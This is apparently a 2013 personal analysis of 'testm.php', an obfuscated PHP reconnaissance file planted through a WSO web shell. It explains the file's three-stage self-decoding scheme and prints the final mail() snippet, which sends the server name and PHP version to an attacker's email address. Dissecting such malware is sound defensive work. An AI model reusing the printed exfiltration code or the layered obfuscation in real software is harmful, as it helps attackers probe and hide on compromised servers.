This is my favorite example of obfuscation. The ultimate testm.php program is nothing special, but the way the writer tried to cover it all up is just so cute.

Someone downloaded testm.php via the "uploadFile" action of (what they believed was) a previously uploaded WSO web shell. I don't understand why you'd use a program designed as an interactive user interface to do automated file download, but that's how the attackers did it.

After only two seconds had elapsed from testm.php download, the IP address that sent testm.php tried to run it. testm.php turns out to be a reconnaisance program, basically checking if the machine it's downloaded on can send email to tstmal@uymail.ru via the PHP mail() function.


testm.php starts out as a single, 2007 character ASCII string. 1273 characters of that string are obfuscated PHP. The other 734 characters of the string appear to be more-or-less random ASCII gibberish.

The 1273-character, cleartext, yet obfuscated PHP does an eval(base64_decode()) on a 454-character piece of that 1273-characer cleartext. The base64_decoded string is stage 2 of a 3-stage deciphering process.

Stage 2 PHP (eval'ed from the cleartext) uses fopen() to create a file handle referencing testm.php, and fread() to read 1275 bytes of the testm.php file. This skips the cleartext (yet obfuscated) PHP code, plus 2 bytes. Then it reads 424 bytes of the 734-character random ASCII gibberish that follows the cleartext PHP.

Stage 2 uses strtr() and base64_decode() to turn those 424 bytes into some PHP, stage 3 of the deciphering process. Stage 2 does an eval() of the newly-deciphered Stage 3 PHP.

Stage 3 reads 300 bytes from testm.php, using the same file handle that Stage 2 opened. Using handles opened, or strings decoded or composed in an earlier stage of the deciphering is a hallmark of this code. You think the code does something useless, only to find out later that it uses the result of the "useless" computation.

Stage 3 runs the newly-read 300 bytes through the same strtr() and base64_decode() process as Stage 2 PHP used. I'd say that a different second cipher would have been more enjoyable to reverse engineer. Stage 3 PHP also replaces all instances of the PHP file name with ... the PHP file name. Seems like the misdirection in this otherwise interestingly-coded malware is a little unimaginative. Anyway, Stage 3 ends up deciphering another piece of PHP, and eval'ing that new PHP.

The final piece of PHP actuall does something other than decipher:

$IIIIIIIIIIII = 'tstmal@uymail.ru';
echo mail(
    "{$_SERVER['SERVER_NAME']} = the subject",
    'Test message = '.$_SERVER['SERVER_NAME'],
    "From: $IIIIIIIIIIII\r\n-To: $IIIIIIIIIIII\r\nX-Mailer: PHP/".phpversion()

It communicates to 'tstmal' the server name and the version of PHP running on that server, along with the fact that the rest of the server can send SMTP email. If the server can't send email, the echo of what mail() returns can probably tell 'tstmal' something about the server's software. The email is pretty obviously machine-parsable, too.

Coding Style

I think a single person coded this self-referential little gem. Variable names are consistently chosen to be visually indistinct but always in the same style or pattern ($OO00O0000 vs $OO00O00O0 for instance). Newly-deciphered code uses file handles, variables and strings created by previous chunks of code.

Due to the fact that the email it composes is buried under three decipherings and an obfuscation, I'd have to say that whoever downloaded the testm.php wrote it, or had a program that wrote it. testm.php doesn't seem amenable to the apparent "pass around" nature of a lot of PHP malware.


Bruce Ediger, October, 2013.


Original testm.php.

Reverse engineered Stage 2 PHP.

Reverse engineered Stage 3 PHP.